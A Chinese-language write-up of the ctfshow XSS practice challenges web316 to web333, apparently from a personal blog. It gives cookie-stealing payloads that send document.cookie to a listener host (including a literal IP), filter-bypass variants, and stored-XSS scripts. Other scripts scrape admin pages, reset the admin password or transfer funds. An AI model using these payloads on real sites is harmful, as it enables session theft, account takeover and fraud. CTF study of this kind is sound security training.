ctfshow xss模块

ctfshow xss模块
达达web316
试了好久 写文件 nc x到的总是自己 bot点击的cookie接收不到
最后还是用python监听http服务
能够XSS的
1 | 外带 |
Cookie里有 flag=you%20are%20not%20admin%20no%20flag
通过网络请求获取管理员cookie 要用到服务器来接收 利用href请求 和 document.cookie 来获取cookie
本地开启http服务 python3 -m http.server 80
1 | <script>location.href="http://ip:80/"+document.cookie</script> |
略微等待一会 等bot那边点击 传回cookie
web317
过滤了script标签
用img
1 | <img src='' onerror=location.href='http://ip:80/'+document.cookie> |
web318
过滤img,用body
1 | <body onload="window.open('http://:80/'+document.cookie)"> |
web319
body标签还是可以的 同上
web320
过滤了空格 用%09或者/替换
1 | <body/onload="window.open('http://ip:80/'+document.cookie)"> |
web321
不能用%09了
可以用/绕过
1 | <body/onload="window.open('http://ip:80/'+document.cookie)"> |
web322
上面payload可以用
web323 324 325 326
都可以/绕过
web327
来到了存储型xss
收件人是admin就可以了
1 | <script>location.href="http://121.40.70.148:80/"+document.cookie</script> |
web328
注册一个用户登陆
1 | 用户名随便 密码<script>location.href="http://ip:80/"+document.cookie</script> |
监听可以得到管理员cookie
修改cookie 伪造admin用户登录
在用户管理界面可以看到flag
web329
cookie设置了有效期拿到cookie时就已经失效了 需要直接拿用户管理界面的内容
当管理员访问用户管理页面时,xss直接将这个页面的内容(flag)拿出来
payload:迭代所有行,如果行包含ctfshow关键字,那么将该值给到远程服务器,进而获得flag。
1 | <script>$('.layui-table-cell').each(function(index,value){{if(value.innerHTML.indexOf('ctfshow') > -1){window.open("http://121.40.70.148:80/"+value.innerHTML);}}})</script> |
web330
可以看到有一个修改密码的界面
抓包可以看到api接口
借此修改管理员密码 管理员用户是127.0.0.1就可以访问到
1 | <script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script> |
测试发现密码的地方会执行xss代码 所以注册一个用户密码为上述payload 登录
再用密码 123 登录到管理员账户 用户管理界面看到flag
登录之后会重定向到http://127.0.0.1/api/change.php?p=123
如果太快看不到 就用bp拦截
web331
这里修改密码的界面是post传参
1 | <script>$.ajax({url:'api/change.php',type:'post',data:{p:'123'}});</script> |
$.ajax()
是 jQuery 用于发起 AJAX 请求的方法。
url: 'api/change.php'
指定请求的目标 URL(api/change.php
)。
type: 'post'
设置请求类型为 POST。
data: { p: 123 }
是请求的发送数据,这里以键值对的形式传递参数,p
的值为 123。
其他跟上题一样 这里没有发生重定向 可以直接查看
web332
要购买flag
先注册一个普通账户 例如用户名 aa 密码 aa 不要注册单字符的用户 单字符的用户购买flag会回显先登录 不清楚为什么
再以payload注册一个账户
1 | <script>$.ajax({url:'/api/amount.php',type:'post',data:{u:'aa',a:10000}});</script> |
登录之后他就会每隔一段时间自动执行一次该xss并往a账户转账10000
转账页面post传参
上述操作之后就有money了 就可以直接购买flag了
web333
同上